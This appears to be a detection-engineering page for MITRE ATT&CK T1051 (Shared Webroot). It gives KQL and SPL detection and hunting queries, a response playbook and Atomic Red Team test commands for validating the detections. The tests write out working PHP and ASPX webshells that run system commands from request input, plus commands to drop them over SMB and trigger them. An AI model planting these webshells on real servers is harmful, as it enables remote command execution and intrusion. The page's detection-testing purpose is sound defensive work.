Shared Webroot
Adversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or web content directory. By writing a malicious script (PHP, ASPX, JSP, etc.) to the shared webroot and then browsing to it, the adversary causes the web server process to execute the content — typically resulting in a webshell. This technique enables lateral movement to the system running the web server, as the code runs under the web server process context (IIS, Apache, nginx) which may have local system or administrative privileges. The attack chain: (1) discover open share pointing to webroot, (2) write malicious web script via SMB, (3) trigger execution via HTTP request. This technique has been deprecated by MITRE but the underlying behavior remains operationally relevant as a webshell deployment vector.
What is T1051 Shared Webroot?
Shared Webroot (T1051) maps to the Lateral Movement tactic — the adversary is trying to move through your environment in MITRE ATT&CK.
This page provides production-ready detection logic for Shared Webroot, covering the data sources and telemetry it touches: File: File Creation, Process: Process Creation, Microsoft Defender for Endpoint. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Lateral Movement
- Canonical reference
- https://attack.mitre.org/techniques/T1051/
let WebRootPaths = dynamic([
"\\inetpub\\wwwroot\\",
"\\inetpub\\wwwroot",
"\\xampp\\htdocs\\",
"\\wamp\\www\\",
"\\wamp64\\www\\",
"\\Apache24\\htdocs\\",
"\\nginx\\html\\",
"\\tomcat\\webapps\\",
"\\jetty\\webapps\\",
"\\www\\html\\",
"\\web\\wwwroot\\"
]);
let WebScriptExtensions = dynamic([
".php", ".php5", ".php7", ".phtml",
".asp", ".aspx", ".ashx", ".asmx",
".jsp", ".jspx",
".cfm", ".cfml",
".pl", ".cgi",
".shtml"
]);
let WebServerProcesses = dynamic([
"w3wp.exe", "httpd.exe", "nginx.exe",
"php.exe", "php-cgi.exe", "php-win.exe",
"tomcat.exe", "tomcat9.exe", "java.exe",
"iisexpress.exe", "UMWorkerProcess.exe"
]);
// Branch 1: Script files written to known web root directories
let WebRootFileDrops = DeviceFileEvents
| where Timestamp > ago(24h)
| where ActionType in ("FileCreated", "FileModified", "FileRenamed")
| where FolderPath has_any (WebRootPaths)
| where FileName has_any (WebScriptExtensions)
| where not (InitiatingProcessFileName in~ ("w3wp.exe", "httpd.exe", "nginx.exe",
"MicrosoftEdgeUpdate.exe", "msiexec.exe", "TrustedInstaller.exe"))
| extend DetectionBranch = "WebRootFileDrop"
| project Timestamp, DeviceName, AccountName, ActionType,
FolderPath, FileName, InitiatingProcessFileName,
InitiatingProcessCommandLine, InitiatingProcessAccountName,
DetectionBranch;
// Branch 2: Web server process spawning suspicious child processes (webshell execution)
let WebShellExecution = DeviceProcessEvents
| where Timestamp > ago(24h)
| where InitiatingProcessFileName in~ (WebServerProcesses)
| where FileName in~ ("cmd.exe", "powershell.exe", "pwsh.exe", "wscript.exe",
"cscript.exe", "mshta.exe", "net.exe", "net1.exe",
"whoami.exe", "ipconfig.exe", "systeminfo.exe",
"nltest.exe", "certutil.exe", "bitsadmin.exe",
"rundll32.exe", "regsvr32.exe", "msiexec.exe")
| extend DetectionBranch = "WebShellChildProcess"
| project Timestamp, DeviceName, AccountName, FileName,
ProcessCommandLine, InitiatingProcessFileName,
InitiatingProcessCommandLine, InitiatingProcessAccountName,
DetectionBranch;
// Union both branches
WebRootFileDrops
| union WebShellExecution
| sort by Timestamp desc Detects shared webroot abuse via two complementary branches. Branch 1 monitors DeviceFileEvents for web script files (PHP, ASPX, JSP, ASP, etc.) written to known webroot directories by non-web-server processes — the file drop phase of the attack. Branch 2 monitors DeviceProcessEvents for web server processes (w3wp.exe, httpd.exe, php-cgi.exe, etc.) spawning command interpreters or reconnaissance utilities — the execution phase indicating a webshell was triggered. Together, these branches cover the full attack lifecycle: write via network share, then browse to execute.
Data Sources
Required Tables
False Positives
- Web developers deploying code directly to a local development server's webroot via IDE or build tool processes
- Deployment pipelines (Jenkins, Octopus Deploy, Azure DevOps agents) writing application files to IIS or Apache webroots
- CMS platforms (WordPress, Drupal, Joomla) that write PHP files as part of plugin installation — w3wp.exe or php.exe creating child PHP files is expected
- Web application frameworks that compile views or generate dynamic ASPX handlers at runtime
- IIS application pool worker processes launching legitimate monitoring scripts (health check endpoints that exec system commands)
- Apache/nginx spawning CGI scripts as part of expected application behavior (e.g., Nagios NRPE, Cacti)
Sigma rule & cross-platform mapping
The detection logic for Shared Webroot (T1051) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: process_creation
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for T1051
References (9)
- https://attack.mitre.org/techniques/T1051/
- https://www.webroot.com/blog/2011/02/22/malicious-php-scripts-on-the-rise/
- http://httpd.apache.org/docs/2.4/getting-started.html#content
- https://capec.mitre.org/data/definitions/563.html
- https://learn.microsoft.com/en-us/iis/manage/configuring-security/application-pool-identities
- https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1505.003/T1505.003.md
- https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file
- https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5140
- https://www.cisa.gov/news-events/alerts/2021/02/10/cisa-er21-02-01-remediating-microsoft-exchange-vulnerabilities
Testing Methodology
Validate this detection against 5 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Drop PHP Webshell via SMB Network Share to Webroot
Expected signal: Windows Security Event ID 5140: Network share \\TARGET_WEBSERVER\wwwroot accessed from source workstation. Windows Security Event ID 4624: Network logon (Type 3) to TARGET_WEBSERVER using webadmin credentials. Sysmon Event ID 11 on TARGET_WEBSERVER: FileCreate for df00tech-test-shell.php in C:\inetpub\wwwroot\, InitiatingProcess will be System (SMB kernel write). DeviceFileEvents on TARGET_WEBSERVER: FileCreated for df00tech-test-shell.php with folder path containing wwwroot.
- Test 2Trigger Webshell Execution via HTTP GET Request
Expected signal: Sysmon Event ID 1 on TARGET_WEBSERVER: Process Create where ParentImage is php-cgi.exe (or w3wp.exe for ASPX), Image is cmd.exe or whoami.exe, CommandLine contains 'whoami'. DeviceProcessEvents: InitiatingProcessFileName=php-cgi.exe spawning FileName=cmd.exe. IIS access log entry for GET /df00tech-test-shell.php with query string cmd=whoami, HTTP 200 response.
- Test 3Drop ASPX Webshell to IIS Webroot via Local File Copy
Expected signal: Sysmon Event ID 11: FileCreate for df00tech-test-shell.aspx in C:\inetpub\wwwroot\, InitiatingProcess=cmd.exe. DeviceFileEvents: FileCreated, FileName=df00tech-test-shell.aspx, FolderPath=C:\inetpub\wwwroot\, InitiatingProcessFileName=cmd.exe. Security Event ID 4663 if object-level SACL auditing is configured on the wwwroot directory.
- Test 4Enumerate Accessible Webroot Network Shares
Expected signal: Windows Security Event ID 5140 on TARGET_WEBSERVER: Network share \\TARGET_WEBSERVER\wwwroot accessed. Windows Security Event ID 5156: Windows Filtering Platform allowed inbound connection on port 445. Sysmon Event ID 3 on attacker host: outbound network connection to TARGET_WEBSERVER:445. Windows Security Event ID 4624: Type 3 (Network) logon to TARGET_WEBSERVER.
- Test 5PHP File Drop Simulating CMS Plugin Install Gone Wrong
Expected signal: Sysmon Event ID 11: FileCreate for df00tech-update.php in C:\inetpub\wwwroot\uploads\, InitiatingProcess=powershell.exe. DeviceFileEvents: FileCreated, FileName=df00tech-update.php, FolderPath=C:\inetpub\wwwroot\uploads\, InitiatingProcessFileName=powershell.exe. PowerShell ScriptBlock Log Event ID 4104 with Set-Content command writing PHP content.
Response Playbook
Triage
- Identify the file dropped: examine the full path (FolderPath + FileName from DeviceFileEvents or TargetFilename from Sysmon). Is the extension a known web script type (PHP, ASPX, JSP)? Does the filename look like a known webshell name (e.g., 'shell.php', 'cmd.aspx', 'c99.php', 'b374k.php', 'chopper.aspx')?
- Determine who wrote the file: check InitiatingProcessFileName and InitiatingProcessAccountName. Was it a developer tool (Visual Studio, VS Code), a legitimate deploy agent (jenkins, octopus), or an unexpected process (cmd.exe, powershell.exe, a remote session)?
- Check the timing: was the file dropped outside business hours? Immediately followed by an HTTP request that triggers execution? Correlate DeviceFileEvents timestamp with IIS/Apache access logs for requests to the same filename.
- Examine the file content: retrieve the dropped file and inspect for webshell indicators — eval(), exec(), system(), shell_exec(), passthru() in PHP; Process.Start(), Runtime.exec(), cmd /c in ASPX/JSP; Base64-encoded payloads; obfuscated variable names.
- If WebShellChildProcess branch fired: identify what the web server process ran. A web server spawning cmd.exe, whoami.exe, or powershell.exe is almost never legitimate. Review the full command line — what was the web server asked to execute?
- Check for network share access: query Security Event ID 5140 around the time of the file drop. Identify the source IP address accessing the webroot share — is it an internal developer workstation, a build server, or an unexpected host?
- Determine the web server's execution context: what account does IIS app pool or Apache run under? Is it NETWORK SERVICE, LOCAL SYSTEM, or a service account? This determines the blast radius of any successful webshell execution.
Containment
- If webshell confirmed: immediately take the web server offline or block inbound HTTP/HTTPS to that server at the perimeter firewall to prevent further command execution via the webshell
- Remove the dropped malicious file from the webroot directory. If the web server is on a shared filesystem, ensure the network share write access is removed or restricted to authorized deployment accounts only
- Disable or restrict write access to the webroot network share: remove 'Everyone' or broad group permissions and apply least-privilege ACLs allowing only deployment service accounts to write
- If the web server process spawned child processes: isolate the host via EDR network isolation immediately — child process execution indicates the webshell was already triggered and commands may have run
- Reset credentials for any accounts that had write access to the webroot share during the attack window — an adversary may have harvested credentials from memory or disk during webshell execution
- If lateral movement indicators found: isolate all hosts that received outbound connections from the web server process during the incident window
Evidence Collection
- Collect the malicious script file before remediation — hash it (MD5/SHA256), preserve the full content for malware analysis and IOC extraction
- IIS access logs: C:\inetpub\logs\LogFiles\W3SVC*\ — filter for requests matching the dropped filename. Note source IPs, timestamps, HTTP methods (POST indicates interactive webshell use), response codes, and bytes transferred
- Apache access logs: /var/log/apache2/access.log or /etc/httpd/logs/access_log — same analysis as IIS logs
- Windows Security Event ID 5140 (Network Share Object Accessed) — extract source IP, account name, share name, and access mask for all access events to webroot shares in the incident window
- Sysmon Event ID 11 (FileCreate) — full path of created file, initiating process, and timestamp
- Sysmon Event ID 1 (Process Create) — all child processes spawned by web server processes; capture full command line, parent command line, user context
- Sysmon Event ID 3 (Network Connection) — outbound connections from web server process (w3wp.exe, httpd.exe, php-cgi.exe) to identify C2 or exfiltration destinations
- Windows Security Event ID 4624/4648 — logon events to the web server host around the time of file drop, particularly network logons (Type 3) indicating remote access via the share
- Memory dump of the web server process if it is still running and webshell execution was confirmed — may contain credentials, decrypted payloads, or C2 artifacts
Escalation Criteria
- ! Web server child process confirmed: any case where w3wp.exe, httpd.exe, or php-cgi.exe spawned cmd.exe, powershell.exe, or reconnaissance utilities — this indicates the webshell was successfully triggered
- ! Outbound network connections from the web server process to external IPs, especially on non-standard ports — indicates C2 communication or data exfiltration initiated via the webshell
- ! Evidence of credential harvesting: web server process accessing LSASS (Sysmon Event ID 10), reading SAM/NTDS.dit, or launching known credential dumping tools (mimikatz, procdump targeting lsass)
- ! Lateral movement from the web server: outbound SMB (port 445), RDP (3389), or WinRM (5985/5986) connections from the web server host to internal systems
- ! Webshell content references external IP addresses, encoded payloads, or known threat actor infrastructure
- ! Multiple web server hosts showing the same dropped filename or hash — may indicate automated spreading via a compromised internal share or an adversary pivot from a central access point
Investigation Guide
Forensic Artifacts
- >
File System: Dropped script file in webroot (C:\inetpub\wwwroot\*, /var/www/html/*, etc.) — check file creation timestamp, file owner, and last-modified time using fsutil or stat - >
File System: Windows NTFS $MFT — Master File Table entries for the malicious file showing precise creation and modification timestamps resistant to timestomping at the filesystem level - >
Registry: HKLM\SYSTEM\CurrentControlSet\Services\W3SVC — IIS application pool configuration including the execution account for each application pool - >
Event Log: Windows Security Event ID 5140 — Network share object accessed; Event ID 5145 — Network share object checked for access (detailed share access auditing); Event ID 4663 — Object access to webroot files if object-level SACL auditing is enabled - >
Event Log: Microsoft-Windows-IIS-Logging/Logs — IIS request logs as Windows events (if configured) - >
IIS Logs: C:\inetpub\logs\LogFiles\W3SVC<SiteID>\u_ex*.log — HTTP access logs with client IP, request URI, HTTP verb, status code, time-taken, bytes sent/received - >
Web Server Prefetch: C:\Windows\Prefetch\PHP-CGI.EXE-*.pf, W3WP.EXE-*.pf — execution timestamps and loaded libraries for the web server process - >
Network: SMB session captures — if packet capture available, Wireshark can extract the file write operation from SMB2 WRITE frames to identify the exact source of the file drop
Tuning Guidance
The primary source of false positives is legitimate deployment activity. Start by building an allowlist of authorized deployment agents and their process names (jenkins, octopus, teamcity, github-runner, deploy.exe), then exclude these from the WebRootFileDrop branch. For the WebShellChildProcess branch, false positives are rare — a web server spawning cmd.exe is almost never legitimate. The exception is CGI-based applications that intentionally shell out (legacy Perl CGI, system-call-heavy applications). Audit your web application inventory for CGI usage before tuning this branch. For the SMB correlation hunting query, tune the share name patterns to match your organization's specific share names (e.g., if your webroot share is \\webserver\webapp instead of \\webserver\wwwroot). Enable Windows Security Event ID 5145 (detailed file share auditing) on web servers for richer share access telemetry. Enable IIS Enhanced Logging to capture request bodies for POST requests to detected files, which confirms interactive webshell use. Consider deploying File Integrity Monitoring (FIM) directly on webroot directories to catch file drops in real-time regardless of the initiating process.
Hunting Queries
Hunt for web server processes spawning unusual child processes over the past 7 days. This identifies both newly installed webshells being triggered and persistent webshells that have been present but not yet detected. Aggregating by parent process and host reveals patterns — a web server that routinely spawns cmd.exe or powershell.exe with high frequency indicates an active webshell. Compare against baseline to identify new deviations.
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("w3wp.exe", "httpd.exe", "nginx.exe",
"php.exe", "php-cgi.exe", "php-win.exe",
"tomcat.exe", "tomcat9.exe", "java.exe")
| where FileName !in~ ("w3wp.exe", "httpd.exe", "nginx.exe", "php.exe",
"php-cgi.exe", "aspnet_compiler.exe", "aspnet_wp.exe",
"conhost.exe", "WerFault.exe")
| summarize ChildProcesses=make_set(FileName),
CommandLines=make_set(ProcessCommandLine),
Count=count(),
FirstSeen=min(Timestamp),
LastSeen=max(Timestamp)
by DeviceName, InitiatingProcessFileName, InitiatingProcessAccountName
| where Count > 0
| sort by Count desc index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
(ParentImage="*\\w3wp.exe" OR ParentImage="*\\httpd.exe" OR ParentImage="*\\nginx.exe"
OR ParentImage="*\\php.exe" OR ParentImage="*\\php-cgi.exe" OR ParentImage="*\\java.exe"
OR ParentImage="*\\tomcat.exe" OR ParentImage="*\\tomcat9.exe")
NOT (Image="*\\w3wp.exe" OR Image="*\\httpd.exe" OR Image="*\\aspnet_compiler.exe"
OR Image="*\\conhost.exe" OR Image="*\\WerFault.exe")
| stats count as SpawnCount, values(Image) as ChildImages,
values(CommandLine) as ChildCommandLines,
earliest(_time) as FirstSeen, latest(_time) as LastSeen
by host, ParentImage, ParentUser
| sort - SpawnCount Retroactive hunt across 30 days for script files written to webroot directories by non-IDE processes. This catches webshells that may have been dropped weeks ago and have been dormant, or incidents that pre-date the active detection window. Files written by unexpected processes outside known deployment tools are high-priority investigation targets.
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated", "FileModified")
| where FolderPath has_any ("\\inetpub\\wwwroot\\", "\\xampp\\htdocs\\",
"\\wamp\\www\\", "\\wamp64\\www\\",
"\\Apache24\\htdocs\\", "\\nginx\\html\\",
"\\tomcat\\webapps\\", "\\web\\wwwroot\\")
| where FileName has_any (".php", ".aspx", ".asp", ".jsp", ".ashx",
".asmx", ".cfm", ".pl", ".cgi")
| where InitiatingProcessFileName !in~ ("devenv.exe", "code.exe", "rider64.exe",
"PhpStorm64.exe", "msiexec.exe",
"TrustedInstaller.exe", "svchost.exe")
| summarize FileWrites=count(),
FilesWritten=make_set(FileName),
Paths=make_set(FolderPath),
FirstSeen=min(Timestamp),
LastSeen=max(Timestamp)
by DeviceName, InitiatingProcessFileName, InitiatingProcessAccountName
| where FileWrites > 0
| sort by LastSeen desc index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=11
(TargetFilename="*\\inetpub\\wwwroot\\*" OR TargetFilename="*\\xampp\\htdocs\\*"
OR TargetFilename="*\\wamp\\www\\*" OR TargetFilename="*\\Apache24\\htdocs\\*"
OR TargetFilename="*\\nginx\\html\\*" OR TargetFilename="*\\tomcat\\webapps\\*")
(TargetFilename="*.php" OR TargetFilename="*.aspx" OR TargetFilename="*.asp"
OR TargetFilename="*.jsp" OR TargetFilename="*.ashx" OR TargetFilename="*.cfm"
OR TargetFilename="*.pl" OR TargetFilename="*.cgi")
NOT (Image="*\\devenv.exe" OR Image="*\\code.exe" OR Image="*\\msiexec.exe"
OR Image="*\\TrustedInstaller.exe")
| stats count as WriteCount, values(TargetFilename) as FilesDropped,
earliest(_time) as FirstDrop, latest(_time) as LastDrop
by host, Image, User
| sort - WriteCount Correlates SMB share access to webroot directories with subsequent web server child process execution within a 2-hour window on the same host. This two-stage correlation identifies the complete attack chain: write via share, execute via HTTP. A match strongly indicates successful shared webroot abuse rather than a coincidental event.
// Correlate SMB webroot share access with subsequent web server child processes
let WebRootShareAccess = DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemotePort == 445
| where InitiatingProcessFileName !in~ ("System", "svchost.exe")
| project ShareAccessTime=Timestamp, DeviceName, RemoteIP,
InitiatingProcessFileName, InitiatingProcessAccountName;
let WebShellExec = DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("w3wp.exe", "httpd.exe", "php-cgi.exe",
"php.exe", "java.exe", "tomcat9.exe")
| where FileName in~ ("cmd.exe", "powershell.exe", "pwsh.exe", "whoami.exe",
"net.exe", "ipconfig.exe", "systeminfo.exe")
| project ExecTime=Timestamp, DeviceName, WebServerProcess=InitiatingProcessFileName,
ChildProcess=FileName, ChildCommandLine=ProcessCommandLine;
WebRootShareAccess
| join kind=inner WebShellExec on DeviceName
| where ExecTime > ShareAccessTime and ExecTime < datetime_add('hour', 2, ShareAccessTime)
| project ShareAccessTime, ExecTime, DeviceName, RemoteIP,
InitiatingProcessFileName, InitiatingProcessAccountName,
WebServerProcess, ChildProcess, ChildCommandLine
| sort by ShareAccessTime desc index=wineventlog sourcetype="WinEventLog:Security" EventCode=5140
(ShareName="*wwwroot*" OR ShareName="*htdocs*" OR ShareName="*webroot*" OR ShareName="*www*")
| eval ShareAccessTime=_time, ShareHost=host, SourceIP=IpAddress,
ShareUser=SubjectUserName, AccessedShare=ShareName
| join type=inner ShareHost
[search index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
(ParentImage="*\\w3wp.exe" OR ParentImage="*\\httpd.exe" OR ParentImage="*\\php-cgi.exe"
OR ParentImage="*\\java.exe")
(Image="*\\cmd.exe" OR Image="*\\powershell.exe" OR Image="*\\whoami.exe")
| eval ExecTime=_time, ShareHost=host, ChildProcess=Image, ChildCmd=CommandLine
| fields ExecTime, ShareHost, ChildProcess, ChildCmd]
| where ExecTime > ShareAccessTime AND ExecTime < ShareAccessTime + 7200
| table ShareAccessTime, ExecTime, ShareHost, SourceIP, ShareUser,
AccessedShare, ChildProcess, ChildCmd
| sort - ShareAccessTime Atomic Red Team Tests
Simulates an adversary writing a minimal PHP webshell to a web server's wwwroot directory via a mapped network share. The webshell is a single-line PHP file that executes a system command passed via GET parameter — the simplest possible webshell pattern. This test covers the file-drop phase of the T1051 attack chain.
Command
net use Z: \\TARGET_WEBSERVER\wwwroot /user:DOMAIN\webadmin Password123 && echo ^<?php system($_GET['cmd']); ?^> > Z:\df00tech-test-shell.php && net use Z: /delete Cleanup
del \\TARGET_WEBSERVER\wwwroot\df00tech-test-shell.php 2>nul Expected Telemetry
Windows Security Event ID 5140: Network share \\TARGET_WEBSERVER\wwwroot accessed from source workstation. Windows Security Event ID 4624: Network logon (Type 3) to TARGET_WEBSERVER using webadmin credentials. Sysmon Event ID 11 on TARGET_WEBSERVER: FileCreate for df00tech-test-shell.php in C:\inetpub\wwwroot\, InitiatingProcess will be System (SMB kernel write). DeviceFileEvents on TARGET_WEBSERVER: FileCreated for df00tech-test-shell.php with folder path containing wwwroot.
Expected Detection
KQL Branch 1 (WebRootFileDrop) fires: FileName ends in .php, FolderPath contains wwwroot. SPL Sysmon EventCode=11 branch fires: TargetFilename matches wwwroot and .php pattern. DetectionBranch=WebRootFileDrop.
Simulates the execution phase of the T1051 attack — after dropping a webshell, the adversary browses to it to execute a command. This atomic test sends an HTTP request to a test PHP file that runs 'whoami', which causes the web server process (php-cgi.exe or w3wp.exe) to spawn a child process. Requires a PHP-enabled web server with a suitable test file in the webroot.
Command
powershell.exe -Command "Invoke-WebRequest -Uri 'http://TARGET_WEBSERVER/df00tech-test-shell.php?cmd=whoami' -UseBasicParsing | Select-Object -ExpandProperty Content" Expected Telemetry
Sysmon Event ID 1 on TARGET_WEBSERVER: Process Create where ParentImage is php-cgi.exe (or w3wp.exe for ASPX), Image is cmd.exe or whoami.exe, CommandLine contains 'whoami'. DeviceProcessEvents: InitiatingProcessFileName=php-cgi.exe spawning FileName=cmd.exe. IIS access log entry for GET /df00tech-test-shell.php with query string cmd=whoami, HTTP 200 response.
Expected Detection
KQL Branch 2 (WebShellChildProcess) fires: InitiatingProcessFileName=php-cgi.exe, FileName=cmd.exe or whoami.exe. SPL Sysmon EventCode=1 branch fires: ParentImage matches php-cgi.exe, Image matches whoami.exe. DetectionBranch=WebShellChildProcess.
Simulates writing an ASPX webshell to an IIS webroot from the local system (e.g., after gaining access via another technique). The ASPX webshell uses Response.Write and Process.Start to execute arbitrary commands. This tests the file-drop detection when the initiating process is cmd.exe or powershell.exe rather than a deployment agent.
Command
cmd.exe /c echo ^<%@ Page Language="C#" %^>^<%Response.Write(new System.Diagnostics.Process(){StartInfo=new System.Diagnostics.ProcessStartInfo("cmd.exe","/c "+Request["cmd"]){UseShellExecute=false,RedirectStandardOutput=true}}.Start()?new System.IO.StreamReader(new System.Diagnostics.Process(){StartInfo=new System.Diagnostics.ProcessStartInfo("cmd.exe","/c "+Request["cmd"]){UseShellExecute=false,RedirectStandardOutput=true}}.StandardOutput.BaseStream).ReadToEnd():"error");%^> > C:\inetpub\wwwroot\df00tech-test-shell.aspx Cleanup
del C:\inetpub\wwwroot\df00tech-test-shell.aspx 2>nul Expected Telemetry
Sysmon Event ID 11: FileCreate for df00tech-test-shell.aspx in C:\inetpub\wwwroot\, InitiatingProcess=cmd.exe. DeviceFileEvents: FileCreated, FileName=df00tech-test-shell.aspx, FolderPath=C:\inetpub\wwwroot\, InitiatingProcessFileName=cmd.exe. Security Event ID 4663 if object-level SACL auditing is configured on the wwwroot directory.
Expected Detection
KQL Branch 1 (WebRootFileDrop) fires: FileName ends in .aspx, FolderPath contains inetpub\wwwroot, InitiatingProcessFileName=cmd.exe (not in excluded web server list). SPL Sysmon EventCode=11 branch fires: TargetFilename matches inetpub\wwwroot and .aspx pattern.
Simulates adversary reconnaissance to discover open network shares pointing to web server webroots — a prerequisite step for T1051 exploitation. Uses the net view command to list shares on a target host and then attempts to access the webroot share. This generates share access telemetry without writing any files.
Command
net view \\TARGET_WEBSERVER /all && net use \\TARGET_WEBSERVER\wwwroot && dir \\TARGET_WEBSERVER\wwwroot && net use \\TARGET_WEBSERVER\wwwroot /delete Expected Telemetry
Windows Security Event ID 5140 on TARGET_WEBSERVER: Network share \\TARGET_WEBSERVER\wwwroot accessed. Windows Security Event ID 5156: Windows Filtering Platform allowed inbound connection on port 445. Sysmon Event ID 3 on attacker host: outbound network connection to TARGET_WEBSERVER:445. Windows Security Event ID 4624: Type 3 (Network) logon to TARGET_WEBSERVER.
Expected Detection
SPL EventCode=5140 branch fires if share name matches webroot pattern (wwwroot). Hunting query for webroot share access (Security Event 5140) triggers. The correlation hunt query will flag this if followed within 2 hours by webshell execution on the same host.
Simulates a scenario where a PHP file is written to a webroot subdirectory by a PowerShell script masquerading as a deployment process — mimicking an adversary who has compromised a deployment pipeline or is masquerading as legitimate software installation. This tests whether detections distinguish malicious from legitimate deployment activity.
Command
powershell.exe -NoProfile -Command "$content = '<?php if(isset($_POST[\"cmd\"])){system($_POST[\"cmd\"]);} ?>'; Set-Content -Path 'C:\inetpub\wwwroot\uploads\df00tech-update.php' -Value $content" Cleanup
Remove-Item 'C:\inetpub\wwwroot\uploads\df00tech-update.php' -ErrorAction SilentlyContinue Expected Telemetry
Sysmon Event ID 11: FileCreate for df00tech-update.php in C:\inetpub\wwwroot\uploads\, InitiatingProcess=powershell.exe. DeviceFileEvents: FileCreated, FileName=df00tech-update.php, FolderPath=C:\inetpub\wwwroot\uploads\, InitiatingProcessFileName=powershell.exe. PowerShell ScriptBlock Log Event ID 4104 with Set-Content command writing PHP content.
Expected Detection
KQL Branch 1 (WebRootFileDrop) fires: FileName ends in .php, FolderPath contains inetpub\wwwroot, InitiatingProcessFileName=powershell.exe. SPL Sysmon EventCode=11 branch fires. This test also validates tuning — environments where powershell.exe is an authorized deployment tool should add this combination to the allowlist to reduce false positives.